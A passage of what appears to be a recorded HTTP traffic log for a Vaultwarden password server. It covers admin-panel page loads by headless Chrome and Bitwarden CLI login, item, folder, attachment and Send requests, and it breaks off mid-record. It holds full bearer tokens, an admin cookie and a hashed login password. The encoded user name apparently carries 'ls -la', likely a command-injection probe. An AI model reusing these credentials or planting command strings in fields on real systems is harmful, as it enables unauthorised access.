vault\",\"ip_header\":\"X-Real-IP\",\"ip_header_trusted_proxies\":\"local\",\"http_request_block_regex\":null,\"log_timestamp_format\":\"%Y-%m-%d %H:%M:%S.%3f\",\"allowed_iframe_ancestors\":null,\"allowed_connect_src\":null,\"sso_client_id\":null,\"sso_client_secret\":null,\"sso_authority\":null,\"sso_scopes\":\"email profile\",\"sso_authorize_extra_params\":null,\"sso_audience_trusted\":null,\"sso_callback_path\":\"https://example.com/identity/connect/oidc-signin\",\"sso_master_password_policy\":null,\"yubico_client_id\":null,\"yubico_secret_key\":null,\"yubico_server\":null,\"duo_ikey\":null,\"duo_skey\":null,\"duo_host\":null,\"smtp_host\":null,\"smtp_security\":\"starttls\",\"smtp_from\":null,\"smtp_from_name\":\"Vaultwarden\",\"smtp_username\":null,\"smtp_password\":null,\"smtp_auth_mechanism\":null,\"helo_name\":null}"}
{"method": "GET", "target": "/admin/users/overview", "headers": ["Host: example.com", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Sec-Ch-Ua-Platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE4NzEsImV4cCI6MTc5NDI4MzA3MSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.dqnU1s193U1PLoFNp_4u0tpzEqsjYzZvUYrtf9Q3D3EVUxRIn4EWTEiRBs6TkqDPqSi6JKnNllQuRYkMNVONYZFMHbmsppVUlV5WOhx1A9LvVe7Cqk9WvqA2thcDXubov1xr7B2jr3_JRGrKz5lFL0biHIi_ShI58Fb_aM3SraEJkTxGiP5RQgq5Nt3wBe6ihM7AMmWW03x-uwuGA89mDpHVxT2NpVQT4eEAmV7HsVmHF1-kDANtijg6u-ib8_S2re-pvdFRCN019zb63uRAtuyVJ1DUEbwXZyPifGC9BOKUIXx3lKQEHMS6O8s_umaxqxc19GIojMIU2iIcYhngpQ", "Priority: u=0, i"], "body": ""}
{"method": "GET", "target": "/vw_static/datatables.css", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: text/css,*/*;q=0.1", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: style", "Referer: https://example.com/admin/users/overview", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=2"], "body": ""}
{"method": "GET", "target": "/vw_static/datatables.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/users/overview", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=2"], "body": ""}
{"method": "GET", "target": "/vw_static/admin_users.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/users/overview", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=2"], "body": ""}
{"method": "GET", "target": "/vw_static/jdenticon-3.3.0.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/users/overview", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=2"], "body": ""}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Accept: application/json", "Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Content-Length: 232", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": "scope=api%20offline_access&client_id=cli&deviceType=25&deviceIdentifier=ccfb4fde-2e17-4f5f-8b15-46634b36002f&deviceName=linux&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "POST", "target": "/api/ciphers", "headers": ["Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Accept: application/json", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE5OTYsImV4cCI6MTc5NDI4OTE5NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImNjZmI0ZmRlLTJlMTctNGY1Zi04YjE1LTQ2NjM0YjM2MDAyZiIsImRldmljZXR5cGUiOiJMaW51eCBDTEkiLCJjbGllbnRfaWQiOiJjbGkiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HX1GL9ZkUccD192d8BH-q7pMIkVlX3QfByqVymhWDDXVt30SIAESVa7aHNIDiOGTWeaUH8rjh3hXC7giC_PEXxfvP-MzjwZkWeDLR0LqdMV32ziQK2_mkJ_zsTgidZJ-VZLyQfX8mJliy3ZJNgcihK6hd075mL1UYVlTiZyvowCL5k3wxU2g9Rd0D9ToqlHNtnQo1yDXJPKGeZHGlC9ZYwnP097Psm0TFKwaFM_iccp6tyiFrYSZZJhI6f7LLil1_7b8QiJEQ4SSyl3Ohuk8zbxzfxVMGhNBt8z_7UQheQHXF9Og-8wmu0I0W0BLrfOxdG48CSITKE79xebghu6-bA", "Content-Type: application/json; charset=utf-8", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Content-Length: 1641", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": "{\"type\":1,\"encryptedFor\":\"a43d6bb6-8efc-4dbe-ad25-0565eff91d6b\",\"encryptedByKeyId\":\"549cd3b87c242101679813f95c7c6cac\",\"folderId\":\"c237cd82-467a-4c5d-9497-289558b53894\",\"name\":\"2.Z5nJmiXusWFtUowJ7x5f9A==|OT1Jafd+iP6WNDUDY5W7HzmHWocQ/ddLLa7V/5DQSSg=|hin/K/21td17P1wDUlA0xd+/JjRn1bEIu5hbH/A3kgY=\",\"notes\":\"2.fqwOR1L0ja5sAZTmOMGrPQ==|SvlTbCxXQG5Wx9EYB854VkgJQ3iLcCXFtYfwimCo/O4wdTVdZrmHJTgbkpQr+zD4|Ofi9g56OqdgZM7/ddLzfJH3euRsx2pChmmnqzxzx4ms=\",\"favorite\":false,\"lastKnownRevisionDate\":\"2026-11-10T03:40:13.604Z\",\"reprompt\":0,\"key\":\"2.qNWgSW0wFWRiBQQ2pBvugg==|kf6Xwaj862w3tBVw8OT64wSSpYa2MNBuOMrc8b8bip7HrTXNfA+GIUW6pRJzwZYmCOesNq46IDpxurmRyQ7Gb9WLPLFx8fsDiZkeI2I24Vk=|ci/4lTheuU7Hlnx8mOufyuwv2mFXteTgl6AQBcvWr/w=\",\"login\":{\"response\":null,\"uris\":[{\"response\":null,\"match\":null,\"uri\":\"2.oQGgNV5p828JCPOVFIHGGQ==|DTvjo/kZiqby8ExwSBarw8GGBSD/IUN615dhbXc9JSc=|ZWDOC3nspTqtrGGAkm1iYeWG/5eV9/GF1oviZmBbvV0=\",\"uriChecksum\":\"2.K5ouCALcJP/tMSf2S7dW+g==|Y7LtYrDmckgUKul737xaMu08uUlCBpDj0X6Ewf0EPvlYIseO8G2ZwdgZQMgEsNKj|1FbMWYkYTA0GuLtaTlZo7WmevR3HPLIF/WVSzN+pPbc=\"}],\"username\":\"2.D034Q18CToi5ThaCH/vu1w==|cyPg7OXzwOMKVvHQTcfwMA==|IMtP9OTXhOu0/favJhaQAIVvwNz5zgqXj+cger9MHac=\",\"password\":\"2.8qcMZleZOhaEhNoETuzkGw==|bhTYthxRwvJ1Kxxmo4Co4prk0aJ5H4sbWuN/Px3Q8Ho=|i9GUianKi4QiSmWu2R0BWHQInbZ9QQlBWNv5+tszlGo=\",\"passwordRevisionDate\":null,\"totp\":null},\"fields\":[{\"response\":null,\"type\":0,\"name\":\"2.YsBSbtParc2pxtRlpURxgg==|Kno9h1nOV1VsuIknb1DeXA==|aV36kKZE3qtt8e/md3zwzVDDPl3hLoaUKAkOHoZQMNw=\",\"value\":\"2.xRJYPuHn8mIO5D743JI9+w==|Nc3RZCADbfznlMviEawJQqpvuQiq5r59heiWKhX8aKo=|7sX/rT3B0t8Fn00Q6Y3FKqcUXOif6xGi1uIWvHipFDE=\"}],\"attachments\":{},\"attachments2\":{}}"}
{"method": "POST", "target": "/api/folders", "headers": ["Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Accept: application/json", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE5OTYsImV4cCI6MTc5NDI4OTE5NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImNjZmI0ZmRlLTJlMTctNGY1Zi04YjE1LTQ2NjM0YjM2MDAyZiIsImRldmljZXR5cGUiOiJMaW51eCBDTEkiLCJjbGllbnRfaWQiOiJjbGkiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HX1GL9ZkUccD192d8BH-q7pMIkVlX3QfByqVymhWDDXVt30SIAESVa7aHNIDiOGTWeaUH8rjh3hXC7giC_PEXxfvP-MzjwZkWeDLR0LqdMV32ziQK2_mkJ_zsTgidZJ-VZLyQfX8mJliy3ZJNgcihK6hd075mL1UYVlTiZyvowCL5k3wxU2g9Rd0D9ToqlHNtnQo1yDXJPKGeZHGlC9ZYwnP097Psm0TFKwaFM_iccp6tyiFrYSZZJhI6f7LLil1_7b8QiJEQ4SSyl3Ohuk8zbxzfxVMGhNBt8z_7UQheQHXF9Og-8wmu0I0W0BLrfOxdG48CSITKE79xebghu6-bA", "Content-Type: application/json; charset=utf-8", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Content-Length: 127", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": "{\"name\":\"2.WVAqr2ytaGgHd+S+ZKeE1A==|gXEYrZ9+X0b0Ed+LykvEHhNSWT1iyYDLbK7WthUMeI8=|Zkw8+UtMRnnT8QLk5mVHoNLvSByUjj+zYhBypot+518=\"}"}
{"method": "POST", "target": "/api/ciphers/7e721342-473b-4155-ba2f-c753499f0a63/attachment/v2", "headers": ["Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Accept: application/json", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE5OTYsImV4cCI6MTc5NDI4OTE5NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImNjZmI0ZmRlLTJlMTctNGY1Zi04YjE1LTQ2NjM0YjM2MDAyZiIsImRldmljZXR5cGUiOiJMaW51eCBDTEkiLCJjbGllbnRfaWQiOiJjbGkiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HX1GL9ZkUccD192d8BH-q7pMIkVlX3QfByqVymhWDDXVt30SIAESVa7aHNIDiOGTWeaUH8rjh3hXC7giC_PEXxfvP-MzjwZkWeDLR0LqdMV32ziQK2_mkJ_zsTgidZJ-VZLyQfX8mJliy3ZJNgcihK6hd075mL1UYVlTiZyvowCL5k3wxU2g9Rd0D9ToqlHNtnQo1yDXJPKGeZHGlC9ZYwnP097Psm0TFKwaFM_iccp6tyiFrYSZZJhI6f7LLil1_7b8QiJEQ4SSyl3Ohuk8zbxzfxVMGhNBt8z_7UQheQHXF9Og-8wmu0I0W0BLrfOxdG48CSITKE79xebghu6-bA", "Content-Type: application/json; charset=utf-8", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Content-Length: 386", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": "{\"key\":\"2.Def2b4y2obPcEEhvLZ52xA==|zoAva9s0BZk3RNy+xbUs5OWWQinGE3MatMZsqAsFC4VwgFizr8ulohf+vwdjFzxoYPzSQAMa6lkqPBaHrU/DHAgx+UDHuYUm8wKrKMz2vp8=|ZyYdXZnb15do5/5u9WMnQvhXuOaI54wOG0yjEz6xutU=\",\"fileName\":\"2.M31m0EXbTECu5cga3Qewug==|v/zzXQqZRUF3z9hD/pwfMg==|JWsETiWitRU5uMe5fFC4MIFOh38K6GnLzoL0TT5BliI=\",\"fileSize\":81,\"adminRequest\":false,\"lastKnownRevisionDate\":\"2026-11-10T03:40:14.010Z\"}"}
{"method": "POST", "target": "/api/ciphers/7e721342-473b-4155-ba2f-c753499f0a63/attachment/27064510a3e9ed1edca1", "headers": ["Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE5OTYsImV4cCI6MTc5NDI4OTE5NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImNjZmI0ZmRlLTJlMTctNGY1Zi04YjE1LTQ2NjM0YjM2MDAyZiIsImRldmljZXR5cGUiOiJMaW51eCBDTEkiLCJjbGllbnRfaWQiOiJjbGkiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HX1GL9ZkUccD192d8BH-q7pMIkVlX3QfByqVymhWDDXVt30SIAESVa7aHNIDiOGTWeaUH8rjh3hXC7giC_PEXxfvP-MzjwZkWeDLR0LqdMV32ziQK2_mkJ_zsTgidZJ-VZLyQfX8mJliy3ZJNgcihK6hd075mL1UYVlTiZyvowCL5k3wxU2g9Rd0D9ToqlHNtnQo1yDXJPKGeZHGlC9ZYwnP097Psm0TFKwaFM_iccp6tyiFrYSZZJhI6f7LLil1_7b8QiJEQ4SSyl3Ohuk8zbxzfxVMGhNBt8z_7UQheQHXF9Og-8wmu0I0W0BLrfOxdG48CSITKE79xebghu6-bA", "Content-Type: multipart/form-data;boundary=--------------------------ac1fbd723921f8cdbcedef14", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Accept: */*", "Content-Length: 372", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": "----------------------------ac1fbd723921f8cdbcedef14\r\nContent-Disposition: form-data; name=\"data\"; filename=\"pwfMg==|JWsETiWitRU5uMe5fFC4MIFOh38K6GnLzoL0TT5BliI=\"\r\nContent-Type: application/octet-stream\r\n\r\nAt/odN546UbzO4vonQvDYG0dftxXWYyVm64t/i8bNlKi0/U8UNTrtiSDVyGNbHDAyDpyFsjM+CYFBAwFGgbZXRF/R2UtRsQiqfLnMkDUmgpX\r\n----------------------------ac1fbd723921f8cdbcedef14--\r\n"}
{"method": "PUT", "target": "/api/ciphers/7e721342-473b-4155-ba2f-c753499f0a63", "headers": ["Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Accept: application/json", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE5OTYsImV4cCI6MTc5NDI4OTE5NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImNjZmI0ZmRlLTJlMTctNGY1Zi04YjE1LTQ2NjM0YjM2MDAyZiIsImRldmljZXR5cGUiOiJMaW51eCBDTEkiLCJjbGllbnRfaWQiOiJjbGkiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HX1GL9ZkUccD192d8BH-q7pMIkVlX3QfByqVymhWDDXVt30SIAESVa7aHNIDiOGTWeaUH8rjh3hXC7giC_PEXxfvP-MzjwZkWeDLR0LqdMV32ziQK2_mkJ_zsTgidZJ-VZLyQfX8mJliy3ZJNgcihK6hd075mL1UYVlTiZyvowCL5k3wxU2g9Rd0D9ToqlHNtnQo1yDXJPKGeZHGlC9ZYwnP097Psm0TFKwaFM_iccp6tyiFrYSZZJhI6f7LLil1_7b8QiJEQ4SSyl3Ohuk8zbxzfxVMGhNBt8z_7UQheQHXF9Og-8wmu0I0W0BLrfOxdG48CSITKE79xebghu6-bA", "Content-Type: application/json; charset=utf-8", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Content-Length: 2160", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": "{\"type\":1,\"encryptedFor\":\"a43d6bb6-8efc-4dbe-ad25-0565eff91d6b\",\"encryptedByKeyId\":\"549cd3b87c242101679813f95c7c6cac\",\"folderId\":\"c237cd82-467a-4c5d-9497-289558b53894\",\"name\":\"2.P99thPhZ8yi0obN+aJOgvA==|jzcU50oxWCuy4b2bPRw2+LDq5Og5lLCZOyvL5pMDc/E=|JiBejhJunSS+XVUW/Uo+vYidLb3zNfUhMVSWjiy42eo=\",\"notes\":\"2.Hw002B4MhHkPVO4JToKlxA==|1g9FwMpzT1UGBOncxX7shwm2yMxfUI0O9s49k4CV0/vVDBQrRaotpFPN0sxVn0OLggTmYFzq8dhWrAWO6DRa6A==|JY7HrcgYqrpOzZHw0czw3An+UkFU1kU7QsaDQqIcbbk=\",\"favorite\":false,\"lastKnownRevisionDate\":\"2026-11-10T03:40:14.010Z\",\"reprompt\":0,\"key\":\"2.ZM+ErmwLiCetQLjk9t/Oqg==|Aa9GdluVzjeTt2qqFl6KbQ0ukwH1kMbAiz0/1bJd/NnT0EJ3fFlk4X1bscVzjIPSqGAt7ggEE+fDI6fTvkRxKSPrqsbDsNGX8JPW9vHx9Zk=|9duEQAJnwhB/E6uLsqQSlIRuGgDfagV30mOvvuj80P8=\",\"login\":{\"response\":null,\"uris\":[{\"response\":null,\"match\":null,\"uri\":\"2.iOMlG/0XNVAHTmFrZddb8g==|Bt8bQs6w9epzMM7OuZ5dBgKCSEmURqZPFGgbXXm5ztI=|g7UF0P+YztGy6PytQFT6RXUjH1fdF7SG7R3DLVNhW/w=\",\"uriChecksum\":\"2.JN/HmEqKJhV803j+rHqs0A==|lfXikwVg+yqMt/lqqYvk0ukvhcNStZbQQQwhU9CmckJ9a0vcf5o+ML8CzOI1Cxg6|MMkk+eNG3l/JWWGHelMVH2h7xah6P5k0zlz7EyR/06o=\"}],\"username\":\"2.c+0PsXOl4s5B0+uhH4oE6w==|LXgqO7vSpM/j0eBShayQOA==|qIJJfQbJxnKMuVCuAJA3S2fmnzOGIweovHrwnKDOQJk=\",\"password\":\"2.FjnIHbhJGaoR2StT8coYkA==|WoAeX6Hw8CgMkwmjwEvVYMCcYZ2BKEpzECHz/6w9OlE=|TE5vJ8bmzqpUCqMrKbx8rz4qlS1k35tDVuVVLbvdkTg=\",\"passwordRevisionDate\":null,\"totp\":null},\"fields\":[{\"response\":null,\"type\":0,\"name\":\"2.zipY6yLZkD7MwvVSLiuyuA==|T+Wp7CrWBwn8PEzPcqcavw==|EbZounb3oq0nPunJ9y7AjPWHXzC/Ggi7rOHMKQPlJ3Y=\",\"value\":\"2.V4pDbZ3DNE4QWHq6rWMduw==|t6N7i9tEc7xWvyGh6bqj7hxiHg1Q1Uq7uOhzoR71vxc=|uohBxB9Z7on7oKLjdEjNPxqFIpdNdVWz7Mi8OJJXYfU=\"}],\"attachments\":{\"27064510a3e9ed1edca1\":\"2.F7lrsv4ucgMxXw65lX/0MQ==|KhQVy5AQjJ4SV8GdjAi1qw==|DFi1foiVzgOlem4WVpqdkzQlBrj1w7G9Z7B1KQTJgpo=\"},\"attachments2\":{\"27064510a3e9ed1edca1\":{\"fileName\":\"2.F7lrsv4ucgMxXw65lX/0MQ==|KhQVy5AQjJ4SV8GdjAi1qw==|DFi1foiVzgOlem4WVpqdkzQlBrj1w7G9Z7B1KQTJgpo=\",\"lastKnownRevisionDate\":\"2026-11-10T03:40:14.010Z\",\"key\":\"2.pXQDG+au9m/hF4Gz0wGm9Q==|qjUHtPXPerxvYsoWCKcoTBDJhZrCWo23RmmKeglraQNLFZEPWlQslGmGfuwKQfm7qswjqcgQxi2CiBRG9esHcds4UfnyDmuEVqU5k6vxMrM=|2dLbqTZefL7q6L3aIbqL6ccGBBKVlZ4unOCsVMWIAyE=\"}}}"}
{"method": "GET", "target": "/api/ciphers/7e721342-473b-4155-ba2f-c753499f0a63/attachment/27064510a3e9ed1edca1", "headers": ["Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Accept: application/json", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE5OTYsImV4cCI6MTc5NDI4OTE5NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImNjZmI0ZmRlLTJlMTctNGY1Zi04YjE1LTQ2NjM0YjM2MDAyZiIsImRldmljZXR5cGUiOiJMaW51eCBDTEkiLCJjbGllbnRfaWQiOiJjbGkiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HX1GL9ZkUccD192d8BH-q7pMIkVlX3QfByqVymhWDDXVt30SIAESVa7aHNIDiOGTWeaUH8rjh3hXC7giC_PEXxfvP-MzjwZkWeDLR0LqdMV32ziQK2_mkJ_zsTgidZJ-VZLyQfX8mJliy3ZJNgcihK6hd075mL1UYVlTiZyvowCL5k3wxU2g9Rd0D9ToqlHNtnQo1yDXJPKGeZHGlC9ZYwnP097Psm0TFKwaFM_iccp6tyiFrYSZZJhI6f7LLil1_7b8QiJEQ4SSyl3Ohuk8zbxzfxVMGhNBt8z_7UQheQHXF9Og-8wmu0I0W0BLrfOxdG48CSITKE79xebghu6-bA", "Cache-Control: no-store", "Pragma: no-cache", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/attachments/7e721342-473b-4155-ba2f-c753499f0a63/27064510a3e9ed1edca1?token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIwMzIsImV4cCI6MTc5NDI4MjA5MiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxmaWxlX2Rvd25sb2FkIiwic3ViIjoiN2U3MjEzNDItNDczYi00MTU1LWJhMmYtYzc1MzQ5OWYwYTYzIiwiZmlsZV9pZCI6IjI3MDY0NTEwYTNlOWVkMWVkY2ExIn0.hFu95tXJlLGjIcyFlyMXWWu5u7_ydoo77fYCi5c60vtgVYB6D7d9SWULqFNSCNPwf_SOjR_inp88mWFg1iH9s3y6g9AR_HcvMsdmDrioz-DDC_V54lrELUweDajL6wPBZrBI7Pi2OUIraJDzt_OZyeXdlw1VhlwWrm1MzvGxLBkDYMT8iHqeoWo78Of6qeJtBgpEPhQjaDgDALqyaYTR_-eVtqbJLGs3y8k75yQjj92ZjFMBDlXUpLWPEmDX_VfZsxUl-cm_YrpQ1Hmx_KqlcivwVQIBh4sRu7DFt-T2KBitRcihIKzksFZ46pJBaFnYw7oPo1BgP6dTd4eAlWLPVQ", "headers": ["Cache: no-cache", "Accept: */*", "User-Agent: node-fetch/1.0 (+https://github.com/bitinn/node-fetch)", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": ""}
{"method": "POST", "target": "/api/sends", "headers": ["Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Accept: application/json", "Authorization: Bearer 